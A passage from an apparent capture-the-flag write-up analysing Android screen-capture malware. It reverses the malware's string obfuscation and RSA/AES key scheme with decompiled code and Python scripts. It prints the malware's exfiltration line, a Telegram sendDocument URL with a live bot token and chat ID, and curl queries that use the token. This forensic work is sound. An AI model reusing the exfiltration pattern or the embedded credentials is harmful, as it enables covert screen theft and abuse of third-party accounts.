  _BYTE *v17; // r4
  char v18; // r1
  char v19; // r6
  _BYTE v20[8196]; // [sp+0h] [bp-2028h] BYREF
  int v21; // [sp+2004h] [bp-24h]

  sub_354D8(v20, 0x2000u);
  v6 = *a1;
  if ( *a1 )
  {
    v7 = 0;
    v8 = 0;
    do
    {
      v9 = 0;
      while ( word_E020[v9] != v6 )
      {
        if ( ++v9 == 64 )
          goto LABEL_12;
      }
      v20[v7] = (v9 & 0x20) != 0;
      v20[v7 | 1] = (v9 & 0x10) != 0;
      v10 = &v20[v7];
      v7 += 6;
      v6 = a1[v8 + 1];
      v10[4] = (v9 & 2) != 0;
      v10[5] = v9 & 1;
      v10[3] = (v9 & 4) != 0;
      v10[2] = (v9 & 8) != 0;
      if ( !v6 )
        break;
    }
    while ( v8++ < 0x7FF );
LABEL_12:
    v13 = v7 < 8;
    v12 = 0;
    if ( v7 >= 8 )
      v13 = a3 < 2;
    if ( !v13 )
    {
      v15 = a3 - 1;
      v16 = 7;
      do
      {
        v17 = &v20[8 * v12];
        v18 = v17[2] | (4 * v20[v16 - 7]) | (2 * v17[1]);
        v19 = v20[v16];
        v16 += 8;
        a2[v12++] = v19 | (2 * ((4 * ((4 * v18) | (2 * v17[3]) | v17[4])) | (2 * v17[5]) | v17[6]));
      }
      while ( v16 < v7 && v12 < v15 );
    }
  }
  else
  {
    v12 = 0;
  }
  a2[v12] = 0;
  return v21;
}

Each of those functions has its own encrypted data stored in the .rodata segment. word_E0D8, word_E0A0, word_E110 & word_E020.

The cb64 function takes each word from the encrypted data, looks it up in the word_E020 table, and gets its index (a number from 0-63).

Back to ScreenCaptureService.java class, specifically I0.c:

public final Handler f1882d = new Handler(Looper.getMainLooper());

public final c f1883e = new c(0, this);

...

this.f1882d.post(this.f1883e);

At the end of onStartCommand, the handler is executed.

In I0.a, the secret key used is a combination of two parts of a string that are decrypted using RSA, then concatenated with the suffix string lBaGqqmj.

rsaprivkey.py
 1import base64
 2
 3def get_rsa_private_key():
 4    encoded_rsa_key_data = [
 5        0x7CB4, 0x7CCD, 0x7C70, 0x7CEC, 0x7CB4, 0x7CCD, 0x7C78, 0x7C93, 0x7CCB, 0x7CCF, 0x7CDA, 0x7CB0, 0x7CCE, 0x7CDF, 0x7C90, 0x7CCD, 0x7CCF, 0x7C70, 0x7CA6, 0x7CDD, 0x7CCF, 0x7CA9, 0x7CB0, 0x7CB0, 0x7CD0, 0x7CE2, 0x7CA9, 0x7CCF, 0x7CCB, 0x7CCD, 0x7C90, 0x7CB4, 0x7CCB, 0x7CD0, 0x7CE2, 0x7CEC, 0x7CB4, 0x7CCD, 0x7C70, 0x7CEC, 0x7CB4, 0x7CC9, 0x7CE7, 0x7CB6, 0x7CCD, 0x7CCF, 0x7CE3, 0x7CA0, 0x7CD0, 0x7C87, 0x7CDA, 0x7CB0, 0x7CC9, 0x7CE2, 0x7CA9, 0x7C90, 0x7CCD, 0x7C70, 0x7CB0, 0x7CE5, 0x7CCF, 0x7CCF, 0x7CB6, 0x7C5C, 0x7CB5, 0x7C81, 0x7CBC, 0x7C4A, 0x7CD7, 0x7CCF, 0x7CD8, 0x7C6B, 0x7CCE, 0x7C81, 0x7CE3, 0x7CE0, 0x7CDB, 0x7CA9, 0x7C8C, 0x7CE9, 0x7CD0, 0x7C70, 0x7CE7, 0x7CEE, 0x7CD3, 0x7CE2, 0x7CEC, 0x7C81, 0x7CD4, 0x7CA0, 0x7CD0, 0x7CCD, 0x7CCF, 0x7CE0, 0x7CAF, 0x7CEE, 0x7CD4, 0x7C87, 0x7CE3, 0x7CE5, 0x7CCF, 0x7CA9, 0x7CD0, 0x7CE2, 0x7CD1, 0x7CE4, 0x7CB0, 0x7C4E, 0x7CD1, 0x7CCF, 0x7CD4, 0x7CC9, 0x7CD1, 0x7CCF, 0x7CB0, 0x7C81, 0x7CB5, 0x7CE4, 0x7CDE, 0x7C78, 0x7CD6, 0x7CAB, 0x7CE7, 0x7CC9, 0x7CD8, 0x7CD2, 0x7CCB, 0x7CE3, 0x7C93, 0x7CE0, 0x7CD0, 0x7C90, 0x7CD8, 0x7C78, 0x7CCB, 0x7CCD, 0x7CCD, 0x7C70, 0x7CC3, 0x7CEE, 0x7CCE, 0x7C87, 0x7CE7, 0x7CD4, 0x7CCD, 0x7CA6, 0x7CE7, 0x7CEC, 0x7CCB, 0x7CCF, 0x7CE7, 0x7CCF, 0x7CD7, 0x7C81, 0x7C78, 0x7CBC, 0x7CB4, 0x7C78, 0x7CA9, 0x7CD4, 0x7CD6, 0x7CD1, 0x7CB6, 0x7CB7, 0x7CD4, 0x7C78, 0x7CD0, 0x7CB6, 0x7CCE, 0x7CA9, 0x7CE2, 0x7C70, 0x7CDB, 0x7CA6, 0x7C4E, 0x7CE0, 0x7CCB, 0x7CD0, 0x7CB0, 0x7CBD, 0x7CDA, 0x7CD1, 0x7CAF, 0x7CEE, 0x7CCF, 0x7CCF, 0x7CA6, 0x7C5C, 0x7CD3, 0x7CE4, 0x7CB6, 0x7CC9, 0x7CD7, 0x7CE0, 0x7CD0, 0x7CD0, 0x7CD8, 0x7CD1, 0x7CB0, 0x7C87, 0x7CCB, 0x7CE5, 0x7CDE, 0x7CD2, 0x7CCE, 0x7CD2, 0x7CE3, 0x7CEE, 0x7CB6, 0x7CE5, 0x7CDE, 0x7CE9, 0x7CD3, 0x7CCF, 0x7CDD, 0x7CB3, 0x7CD6, 0x7CD2, 0x7CE6, 0x7C6B, 0x7CD8, 0x7CD2, 0x7CB6, 0x7CAF, 0x7CD8, 0x7C6B, 0x7CE3, 0x7CB6, 0x7CCB, 0x7C87, 0x7CE3, 0x7C93, 0x7CC9, 0x7CCF, 0x7CE3, 0x7C4E, 0x7CB7, 0x7CA0, 0x7CB0, 0x7CE9, 0x7CD0, 0x7CAD, 0x7CE7, 0x7CB5, 0x7CD7, 0x7CE4, 0x7CD8, 0x7CBC, 0x7CB5, 0x7CD1, 0x7C4E, 0x7CED, 0x7CD8, 0x7CE0, 0x7C90, 0x7CD6, 0x7CCD, 0x7C5C, 0x7CC3, 0x7CE8, 0x7CD7, 0x7CCF, 0x7C4E, 0x7CE6, 0x7CCF, 0x7CE5, 0x7CD0, 0x7C4A, 0x7CDA, 0x7CD2, 0x7CD4, 0x7C70, 0x7CCB, 0x7CCF, 0x7CDA, 0x7CD1, 0x7CB5, 0x7CD1, 0x7CBC, 0x7C78, 0x7CB7, 0x7CCE, 0x7CB6, 0x7CCD, 0x7CDB, 0x7CE4, 0x7CB0, 0x7CBD, 0x7CCD, 0x7C81, 0x7CB0, 0x7CE0, 0x7CCF, 0x7CCF, 0x7CE3, 0x7CA6, 0x7CC9, 0x7CD0, 0x7CA9, 0x7C90, 0x7CC9, 0x7CDD, 0x7CE7, 0x7C90, 0x7CD7, 0x7C70, 0x7CDA, 0x7C90, 0x7CCB, 0x7CA6, 0x7CEC, 0x7CE2, 0x7CCD, 0x7CAD, 0x7CD4, 0x7CD3, 0x7CDA, 0x7CA0, 0x7CE2, 0x7C81, 0x7CDA, 0x7CE2, 0x7C4E, 0x7CE5, 0x7CC9, 0x7CD0, 0x7C90, 0x7CCF, 0x7CCF, 0x7C5C, 0x7CEA, 0x7C87, 0x7CD3, 0x7C78, 0x7CB0, 0x7CAD, 0x7CDB, 0x7CE5, 0x7CD0, 0x7CB6, 0x7CD3, 0x7C81, 0x7CE3, 0x7CB0, 0x7CD3, 0x7C6B, 0x7CAF, 0x7CE9, 0x7CDA, 0x7CE4, 0x7CDE, 0x7CE6, 0x7CD0, 0x7CD0, 0x7CA9, 0x7CD4, 0x7CD4, 0x7C81, 0x7CDE, 0x7CE7, 0x7CCD, 0x7CD0, 0x7CD4, 0x7CEE, 0x7CCB, 0x7CD1, 0x7CD0, 0x7CB6, 0x7CCE, 0x7CE4, 0x7CDE, 0x7CD3, 0x7CD0, 0x7CCE, 0x7CD0, 0x7CE5, 0x7CD6, 0x7C81, 0x7CD4, 0x7CB3, 0x7CD7, 0x7CD2, 0x7CB6, 0x7CAB, 0x7CDA, 0x7CCF, 0x7CDA, 0x7C70, 0x7C93, 0x7CE2, 0x7CD8, 0x7C78, 0x7CB3, 0x7C81, 0x7C78, 0x7C78, 0x7CB5, 0x7CA6, 0x7CDA, 0x7C70, 0x7CB4, 0x7C6B, 0x7CC9, 0x7C5C, 0x7CD8, 0x7CD0, 0x7CDA, 0x7C81, 0x7CD0, 0x7CA6, 0x7CD3, 0x7C70, 0x7CB7, 0x7CA0, 0x7CD4, 0x7CEC, 0x7CCF, 0x7C6B, 0x7CDD, 0x7C5C, 0x7CD7, 0x7CE5, 0x7CE6, 0x7C81, 0x7CD6, 0x7CA9, 0x7CD0, 0x7C5C, 0x7CD1, 0x7CAB, 0x7CD4, 0x7CB3, 0x7CD3, 0x7CD1, 0x7CE6, 0x7CE9, 0x7CD6, 0x7CCF, 0x7CB6, 0x7C6B, 0x7CB5, 0x7C81, 0x7C4E, 0x7CDF, 0x7CD0, 0x7C87, 0x7CDE, 0x7CE7, 0x7CCD, 0x7CA0, 0x7CB6, 0x7CED, 0x7CD1, 0x7CE0, 0x7CB6, 0x7C93, 0x7CCE, 0x7CE0, 0x7CA9, 0x7C87, 0x7CB7, 0x7CA9, 0x7CB6, 0x7CD1, 0x7CCF, 0x7CD2, 0x7CDA, 0x7C87, 0x7CB6, 0x7CE3, 0x7C8C, 0x7C4A, 0x7CD8, 0x7CD1, 0x7CCF, 0x7CB3, 0x7CDB, 0x7CA0, 0x7CAF, 0x7CEE, 0x7CDB, 0x7CCE, 0x7CD4, 0x7CD3, 0x7CC9, 0x7CE4, 0x7CDA, 0x7CE0, 0x7CD4, 0x7C6B, 0x7CA9, 0x7CEC, 0x7CCF, 0x7CE5, 0x7CB6, 0x7CBC, 0x7CD6, 0x7CAB, 0x7CD4, 0x7CE4, 0x7CB5, 0x7CE2, 0x7CCB, 0x7CEE, 0x7CD1, 0x7CE2, 0x7CC1, 0x7CBD, 0x7CD1, 0x7CA9, 0x7CA9, 0x7CCE, 0x7CD8, 0x7CE5, 0x7CE6, 0x7C78, 0x7CD7, 0x7C81, 0x7CD0, 0x7CE2, 0x7CCE, 0x7CAB, 0x7CA6, 0x7C81, 0x7CD4, 0x7CA6, 0x7CC9, 0x7CE9, 0x7CCE, 0x7CE5, 0x7CA9, 0x7C78, 0x7CCD, 0x7C87, 0x7CCF, 0x7C6B, 0x7CD4, 0x7C70, 0x7CD0, 0x7CA0, 0x7CCF, 0x7CD0, 0x7CA9, 0x7CA6, 0x7CB4, 0x7C81, 0x7CD0, 0x7CA9, 0x7CC9, 0x7C81, 0x7CCB, 0x7CE2, 0x7CCD, 0x7CE2, 0x7CBD, 0x7CB4, 0x7CD0, 0x7CD2, 0x7CE2, 0x7C4E, 0x7CCF, 0x7CC9, 0x7CE6, 0x7CBC, 0x7CD7, 0x7CE4, 0x7CD4, 0x7CDF, 0x7CDB, 0x7CE2, 0x7CEA, 0x7C4E, 0x7CD0, 0x7C6B, 0x7CCB, 0x7CEA, 0x7CD7, 0x7CCE, 0x7CCB, 0x7CE7, 0x7CD6, 0x7C70, 0x7CEC, 0x7C93, 0x7CCB, 0x7CD1, 0x7CA9, 0x7CCF, 0x7CD8, 0x7CAD, 0x7CD4, 0x7CCB, 0x7CD1, 0x7CCF, 0x7CB5, 0x7C81, 0x7CB3, 0x7C81, 0x7CD3, 0x7CE9, 0x7CD4, 0x7CAB, 0x7CDE, 0x7CED, 0x7CB5, 0x7C87, 0x7C90, 0x7CB4, 0x7CD8, 0x7CA0, 0x7C90, 0x7CAB, 0x7CDA, 0x7CAD, 0x7CE6, 0x7C4A, 0x7CD0, 0x7C81, 0x7CC3, 0x7CB7, 0x7CCF, 0x7CE0, 0x7CA9, 0x7CC9, 0x7CDB, 0x7CAB, 0x7CB0, 0x7CCD, 0x7CB5, 0x7CD2, 0x7CDE, 0x7CB7, 0x7CD7, 0x7CE3, 0x7CA9, 0x7CCE, 0x7CD8, 0x7C5C, 0x7CEC, 0x7CE7, 0x7CD8, 0x7CE4, 0x7CCF, 0x7C87, 0x7CD8, 0x7C81, 0x7CC9, 0x7CEE, 0x7C93, 0x7CE3, 0x7CDE, 0x7CB7, 0x7CC9, 0x7CE4, 0x7CC3, 0x7C4E, 0x7CD8, 0x7CA9, 0x7C90, 0x7CE6, 0x7CC9, 0x7CD1, 0x7CEC, 0x7CA9, 0x7CC9, 0x7CD2, 0x7CB0, 0x7CA6, 0x7CD7, 0x7CE3, 0x7CA9, 0x7CD6, 0x7CCB, 0x7C6B, 0x7CDA, 0x7CCF, 0x7CD0, 0x7CA0, 0x7CDE, 0x7CE4, 0x7CD0, 0x7CA9, 0x7CA9, 0x7CCD, 0x7CD1, 0x7CAB, 0x7CC3, 0x7CE3, 0x7CD8, 0x7CCF, 0x7CD4, 0x7CE8, 0x7CD0, 0x7C6B, 0x7CB6, 0x7CA6, 0x7CCD, 0x7C70, 0x7CC3, 0x7CBA, 0x7CCB, 0x7CD0, 0x7CD0, 0x7CCB, 0x7CDA, 0x7C87, 0x7CDE, 0x7CED, 0x7CD8, 0x7CA0, 0x7CA6, 0x7C87, 0x7CD7, 0x7CAD, 0x7CE2, 0x7C78, 0x7CDA, 0x7CE2, 0x7CB6, 0x7CE5, 0x7CB5, 0x7CD2, 0x7CE3, 0x7C4E, 0x7CDB, 0x7CAB, 0x7CC3, 0x7CB6, 0x7CD0, 0x7CD1, 0x7CD0, 0x7CDE, 0x7CCD, 0x7CD1, 0x7C4A, 0x7CB3, 0x7CD6, 0x7CD1, 0x7CB5, 0x7C4A, 0x7CDB, 0x7CD0, 0x7CCF, 0x7CBD, 0x7CCF, 0x7C70, 0x7CCF, 0x7C78, 0x7CC9, 0x7CE5, 0x7CD4, 0x7CD6, 0x7CDA, 0x7C81, 0x7CCB, 0x7C93, 0x7CD1, 0x7CCF, 0x7C78, 0x7CD3, 0x7CD0, 0x7CE2, 0x7C4E, 0x7CD2, 0x7CB6, 0x7CD1, 0x7C78, 0x7CCD, 0x7CB3, 0x7C70, 0x7CEC, 0x7CE2, 0x7CD7, 0x7CA0, 0x7CCB, 0x7CEE, 0x7CB4, 0x7C6B, 0x7CD0, 0x7CE9, 0x7CCF, 0x7CCF, 0x7CE7, 0x7C90, 0x7CC9, 0x7CD0, 0x7CD0, 0x7CBC, 0x7CCE, 0x7C70, 0x7CDD, 0x7C87, 0x7CB6, 0x7CE5, 0x7CD8, 0x7C78, 0x7CCE, 0x7C81, 0x7CB0, 0x7CB3, 0x7CCF, 0x7C87, 0x7CE3, 0x7CE9, 0x7CC9, 0x7CD0, 0x7C90, 0x7CBA, 0x7CD6, 0x7CD2, 0x7CB6, 0x7CD1, 0x7CCE, 0x7CCE, 0x7CB0, 0x7C81, 0x7CD7, 0x7C78, 0x7CA9, 0x7CD1, 0x7CD8, 0x7CC9, 0x7CE6, 0x7C4A, 0x7CDB, 0x7CAB, 0x7CB6, 0x7CCB, 0x7CB5, 0x7C70, 0x7CDE, 0x7CB6, 0x7CDA, 0x7CD1, 0x7CB0, 0x7CDE, 0x7CCE, 0x7CE4, 0x7CD4, 0x7CBA, 0x7CD0, 0x7C81, 0x7CB0, 0x7CAD, 0x7CCE, 0x7C78, 0x7CA9, 0x7CA6, 0x7CD7, 0x7C70, 0x7C78, 0x7CB7, 0x7CCB, 0x7CA9, 0x7CA6, 0x7C87, 0x7CCD, 0x7CE4, 0x7CE7, 0x7C70, 0x7CCD, 0x7CCD, 0x7CEC, 0x7CCD, 0x7CCE, 0x7C70, 0x7CE6, 0x7CEE, 0x7CCF, 0x7C78, 0x7CC9, 0x7C6B, 0x7CD7, 0x7CE0, 0x7C90, 0x7CD2, 0x7CDA, 0x7C81, 0x7CD3, 0x7C70, 0x7CB4, 0x7C81, 0x7CA6, 0x7C70, 0x7CCF, 0x7C78, 0x7CB0, 0x7CAB, 0x7CCE, 0x7C5C, 0x7CEC, 0x7CD2, 0x7CDB, 0x7CCE, 0x7CCB, 0x7CAB, 0x7CD3, 0x7CD0, 0x7CE3, 0x7CCB, 0x7CCD, 0x7CE2, 0x7CA9, 0x7CE4, 0x7CCF, 0x7CE0, 0x7CE2, 0x7CEE, 0x7C93, 0x7CE4, 0x7CBD, 0x7C90, 0x7CD4, 0x7CCE, 0x7CDE, 0x7CB6, 0x7CB7, 0x7CA6, 0x7CD0, 0x7CB6, 0x7CD1, 0x7CE2, 0x7C78, 0x7CC9, 0x7CC9, 0x7C6B, 0x7CC9, 0x7C78, 0x7CDB, 0x7CE5, 0x7CD0, 0x7C5C, 0x7CB5, 0x7CD1, 0x7CB6, 0x7CBC, 0x7CCF, 0x7CCE, 0x7CDE, 0x7CBA, 0x7CD3, 0x7CD0, 0x7CD0, 0x7CE2, 0x7CB4, 0x7C81, 0x7CC3, 0x7CCE, 0x7CD7, 0x7CE5, 0x7CD0, 0x7CBD, 0x7CD1, 0x7CA9, 0x7CE3, 0x7C70, 0x7CD8, 0x7CCE, 0x7CE3, 0x7CB5, 0x7CB6, 0x7C78, 0x7CD4, 0x7CC9, 0x7CB5, 0x7CE3, 0x7CDA, 0x7C4A, 0x7CB7, 0x7CA9, 0x7CDE, 0x7CE6, 0x7CDA, 0x7C6B, 0x7CD0, 0x7CBF, 0x7CB5, 0x7CE3, 0x7CAF, 0x7C81, 0x7CB6, 0x7C5C, 0x7CEC, 0x7C93, 0x7CD0, 0x7CCF, 0x7CEC, 0x7C87, 0x7CB4, 0x7C70, 0x7CBD, 0x7C87, 0x7CD0, 0x7CAB, 0x7CE6, 0x7CB3, 0x7CD7, 0x7CE4, 0x7CDA, 0x7CB6, 0x7CCB, 0x7C78, 0x7CDE, 0x7CDE, 0x7CD0, 0x7CD1, 0x7CE7, 0x7CED, 0x7CCE, 0x7CE2, 0x7CA9, 0x7CD6, 0x7CCF, 0x7CCF, 0x7CD4, 0x7CAD, 0x7CDB, 0x7CE3, 0x7CD0, 0x7CCB, 0x7CCD, 0x7CE2, 0x7CA9, 0x7CB4, 0x7CB5, 0x7CCF, 0x7C4E, 0x7CA0, 0x7CD6, 0x7C78, 0x7CDE, 0x7CCD, 0x7CB7, 0x7CA6, 0x7CDA, 0x7C90, 0x7CD1, 0x7CE2, 0x7CDE, 0x7CA0, 0x7CD6, 0x7CA9, 0x7CD4, 0x7CB3, 0x7CD8, 0x7C78, 0x7CDE, 0x7CBA, 0x7CD0, 0x7CE4, 0x7CD4, 0x7C6B, 0x7CD1, 0x7CD0, 0x7CD0, 0x7C93, 0x7CDB, 0x7CCD, 0x7CEC, 0x7CD3, 0x7CCD, 0x7C81, 0x7CEC, 0x7CCF, 0x7CDA, 0x7CD2, 0x7CDD, 0x7C70, 0x7CDA, 0x7C87, 0x7CE7, 0x7CC9, 0x7CB6, 0x7CA9, 0x7CD8, 0x7CEE, 0x7CD4, 0x7CE2, 0x7CCB, 0x7CE4, 0x7CB7, 0x7CC9, 0x7CE7, 0x7CD4, 0x7CD8, 0x7C70, 0x7CBD, 0x7CA0, 0x7CCB, 0x7CA0, 0x7C90, 0x7C93, 0x7CD8, 0x7C70, 0x7CE3, 0x7CAD, 0x7CB5, 0x7CCE, 0x7CD4, 0x7C78, 0x7CD8, 0x7CCE, 0x7CE3, 0x7CD3, 0x7CCD, 0x7C81, 0x7CD0, 0x7CE7, 0x7CCB, 0x7CE3, 0x7CD4, 0x7CA6, 0x7CCF, 0x7CE4, 0x7CB5, 0x7CBC, 0x7CD4, 0x7CD2, 0x7C90, 0x7CE9, 0x7CC9, 0x7C6B, 0x7CAF, 0x7CEE, 0x7CD6, 0x7CCE, 0x7CD0, 0x7CAB, 0x7CC9, 0x7CCF, 0x7C78, 0x7CA9, 0x7CD7, 0x7C87, 0x7CDE, 0x7CC9, 0x7CD8, 0x7CD0, 0x7CA6, 0x7CC3, 0x7CBA, 0x7CC9, 0x7CE6, 0x7CEC, 0x7CB4, 0x7CCD, 0x7C70, 0x7CEC, 0x7CB4, 0x7CCF, 0x7CD0, 0x7CB7, 0x7CCB, 0x7C93, 0x7C90, 0x7CCD, 0x7CCF, 0x7C70, 0x7CA6, 0x7CDD, 0x7CCF, 0x7CA9, 0x7CB0, 0x7CB0, 0x7CD0, 0x7CE2, 0x7CA9, 0x7CCF, 0x7CCB, 0x7CCD, 0x7C90, 0x7CB4, 0x7CCB, 0x7CD0, 0x7CE2, 0x7CEC, 0x7CB4, 0x7CCD, 0x7C70, 0x7CEC, 0x7CB4, 0x7CC9
 6    ]
 7    
 8    lookup_table = [
 9        0x7C8C, 0x7C90, 0x7C93, 0x7CA0, 0x7CA6, 0x7CA9, 0x7CAB, 0x7CAD, 0x7CAF, 0x7CB0, 0x7CB3, 0x7CB4, 0x7CB5, 0x7CB6, 0x7CB7, 0x7CBA, 0x7CC9, 0x7CCB, 0x7CCD, 0x7CCE, 0x7CCF, 0x7CD0, 0x7CD1, 0x7CD2, 0x7CD3, 0x7CD4, 0x7CD6, 0x7CD7, 0x7CD8, 0x7CDA, 0x7CDB, 0x7CDC, 0x7CDD, 0x7CDE, 0x7CDF, 0x7CE0, 0x7CE2, 0x7CE3, 0x7CE4, 0x7CE5, 0x7CE6, 0x7CE7, 0x7CE8, 0x7CE9, 0x7CEA, 0x7CEC, 0x7CED, 0x7CEE, 0x7C4A, 0x7C4E, 0x7C5C, 0x7C6B, 0x7C70, 0x7C78, 0x7C81, 0x7C87, 0x7CBC, 0x7CBD, 0x7CBF, 0x7CC0, 0x7CC1, 0x7CC3, 0x7CC5, 0x7CC8
10    ]
11    
12    standard_b64_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
13    base64_string = ""
14
15    for word in encoded_rsa_key_data:
16        index = lookup_table.index(word)
17        base64_string += standard_b64_alphabet[index]
18        
19    padding = "=" * (-len(base64_string) % 4)
20    base64_string_padded = base64_string + padding
21    
22    rsa_key_pem = base64.b64decode(base64_string_padded).decode('utf-8')
23    print(rsa_key_pem)
24    return rsa_key_pem
25
26rsa_private_key_string = get_rsa_private_key()

The RSA private key was obtained.

$ python3 rsaprivkey.py
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCr3n0mG3OicxP+WJobKvd5RR2/gygPUdZbqYFPYBv2huhjPqte
5AsTRKOoOzYHJmEJTomx/QYicNgUMLY4xLcERyub/QA2bcPn5UqbwFxWMyo6xkaH
iz3qsHs9MGyBAIq82kTzLng81lnr0ZK/jmLhRupuvtEGV1n593RzbyKbcQIDAQAB
AoGADKdHvXt96vLgAPTS+7cRGzuMciIc2+vhhUQYghiIVoEeMNhXU5gkfJmsFuGt
G5+mu0Gt/42qWvTF486mS82nz6hUrXfJaj+iCs3lbWxiH3nZ3BN1w8SVQww6P0qe
x2/y6XBgcg1mRsxhff2DoZO9XQSrz5oedLa6dD+NquKu3gECQQD/eECddJNKUy1Q
8nfbzK1W4lm4ikKBEaTpvQYC6+f+dhn3pKp0Ftz0WoNR1PxbR1xNnQSs+ire7sd/
XNBoqpPhAkEArDnQZG7TT8fTQRXoeqFjW3DKOOEUQwxnp17ly5vCg1yqxoMUeaIl
ic0yU9SE5BvZwdBYMXVLW5mR+Kdl4o/5kQJAAUxOH76w5ObJSykAPOisVM2voQVq
0xcQ3HMubaNfOWbGOQDoMNDQ7JjtI+ROJ/ST3n0Wwf4/a4SRFO+Wy4FaYQJAfR9/
nAe8M8EMZMPC45zur1cxQ8OaUd/oSnuyXYtq9L7VP2Wp8Xhw5z2R67+BUKw/NwTj
ngMGXaUjnNAZQFGzUQJAK1LCkXR8GAZHChVJsXOVfsYUBy+XKkTux4wzP4W/fDf9
YsNCD0BsIG16uq9XKeiFVDRc8epkC2/i5FAMEoxPqQ==
-----END RSA PRIVATE KEY-----

To get the secret key, we first need to get:

  • Base64 ciphertext from the f394c variable in I0.a.java.
  • hardcoded suffix lBaGqqmj from the b variable in I0.a.java.

So, we must reconstruct the AES key exactly as the application does: [RSA Decryption Result] + "lBaGqqmj". The final script is as follows:

finalsecretkey.py
 1import base64
 2from Crypto.PublicKey import RSA
 3from Crypto.Cipher import PKCS1_v1_5
 4
 5def get_final_aes_key():
 6    rsa_private_key_pem = """-----BEGIN RSA PRIVATE KEY-----
 7MIICWwIBAAKBgQCr3n0mG3OicxP+WJobKvd5RR2/gygPUdZbqYFPYBv2huhjPqte
 85AsTRKOoOzYHJmEJTomx/QYicNgUMLY4xLcERyub/QA2bcPn5UqbwFxWMyo6xkaH
 9iz3qsHs9MGyBAIq82kTzLng81lnr0ZK/jmLhRupuvtEGV1n593RzbyKbcQIDAQAB
10AoGADKdHvXt96vLgAPTS+7cRGzuMciIc2+vhhUQYghiIVoEeMNhXU5gkfJmsFuGt
11G5+mu0Gt/42qWvTF486mS82nz6hUrXfJaj+iCs3lbWxiH3nZ3BN1w8SVQww6P0qe
12x2/y6XBgcg1mRsxhff2DoZO9XQSrz5oedLa6dD+NquKu3gECQQD/eECddJNKUy1Q
138nfbzK1W4lm4ikKBEaTpvQYC6+f+dhn3pKp0Ftz0WoNR1PxbR1xNnQSs+ire7sd/
14XNBoqpPhAkEArDnQZG7TT8fTQRXoeqFjW3DKOOEUQwxnp17ly5vCg1yqxoMUeaIl
15ic0yU9SE5BvZwdBYMXVLW5mR+Kdl4o/5kQJAAUxOH76w5ObJSykAPOisVM2voQVq
160xcQ3HMubaNfOWbGOQDoMNDQ7JjtI+ROJ/ST3n0Wwf4/a4SRFO+Wy4FaYQJAfR9/
17nAe8M8EMZMPC45zur1cxQ8OaUd/oSnuyXYtq9L7VP2Wp8Xhw5z2R67+BUKw/NwTj
18ngMGXaUjnNAZQFGzUQJAK1LCkXR8GAZHChVJsXOVfsYUBy+XKkTux4wzP4W/fDf9
19YsNCD0BsIG16uq9XKeiFVDRc8epkC2/i5FAMEoxPqQ==
20-----END RSA PRIVATE KEY-----"""
21
22    b64_ciphertext = "Ud1PxFTYWLrqDduwBCfbRnbOGT2AasCFObFWPHInhsg9eACzYirAHSaqa9QCmcgrA7aQDVRuOxmYyy5U3h1jLQbCz97cNjEUCVl1Hk6G7L/uOGqCOsp1aabaQ7hBoIVL9E00OMRK7uVtQQgT4CzJZXI1fsLovFG1MBNdENGVE8M="
23    ciphertext = base64.b64decode(b64_ciphertext)
24
25    suffix = "lBaGqqmj"
26
27    try:
28        private_key = RSA.import_key(rsa_private_key_pem)
29        cipher_rsa = PKCS1_v1_5.new(private_key)
30        
31        sentinel = b'DECRYPTION FAILED'
32        decrypted_part = cipher_rsa.decrypt(ciphertext, sentinel).decode('utf-8')
33        final_aes_key = decrypted_part + suffix
34        print("Decrypted:", decrypted_part)
35        
36        print("\n" + "="*42)
37        print(f"[+] AES SECRET KEY FINAL: {final_aes_key}")
38        print("="*42)
39
40    except Exception as e:
41        print(f"\n!!! Failed to decrypt RSA: {e}")
42
43get_final_aes_key()
$ python3 finalsecretkey.py
Decrypted: dPGgF7tQ

==========================================
[+] AES SECRET KEY FINAL: dPGgF7tQlBaGqqmj
==========================================

Hufft.. it’s finally done after all 😮‍💨.

6. Where the encrypted image sent to?
Format: Application Name (i.e. Pastebin)
Answer: Telegram

Based on the code analysis, the encrypted image is sent to Telegram.

In I0.c.java file, this class is responsible for taking an encrypted image, saving it to a file, and then sending it to a destination.

String str3 = "https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument";

The URL https://api.telegram.org/ is the endpoint for the Telegram Bot API. The subsequent code builds a network request that sends the .enc file as a “document” to a specific chat_id through the Telegram bot. This clearly shows that the destination application is Telegram.

7. What is the bot API token?
Answer: 8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q

The token was found in the exact same place as the previous answer, which is inside the I0.c.java file.

To find this token requires understanding the structure of the Telegram Bot API URL. The format is always: https://api.telegram.org/bot<TOKEN>/<NAMA_METODE>

  • Prefix: https://api.telegram.org/bot
  • TOKEN: 8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q
  • METHOD: /sendDocument
8. What is the bot username?
Answer: guntershelpsBot

We can find the bot’s username very easily using the API token we already have.

By calling the getMe method from the Telegram API, which will provide detailed information about the bot.

$ curl https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/getMe
{"ok":true,"result":{"id":8369776437,"is_bot":true,"first_name":"gunters-helper","username":"guntershelpsBot","can_join_groups":true,"can_read_all_group_messages":false,"supports_inline_queries":false,"can_connect_to_business":false,"has_main_web_app":false}}
9. What is the group name and invite link?
Format: (name,link)
Example: namagrup,http://jajangmyeon.com/aua872sna
Answer: mycrib,https://t.me/+RVvaMCn_f7FmZmFl

To get the group name:

If we look back at the I0.c.java, there’s a lines of code that explicitly define the destination chat_id:

byte[] bytes = "-1002300479215".getBytes(c1.a.f1544a);

arrayList.add(d.r("chat_id", null, new v(null, length, bytes, 0)));

From this, we know that the group’s Chat ID is -1002300479215.

Similar to the getMe method for getting bot info, there’s a getChat method to get information about a group if its chat_id is known.

The URL format is: https://api.telegram.org/bot<TOKEN>/getChat?chat_id=<CHAT_ID>

Full URL:

https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/getChat?chat_id=-1002300479215
$ curl https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/getChat?chat_id=-1002300479215
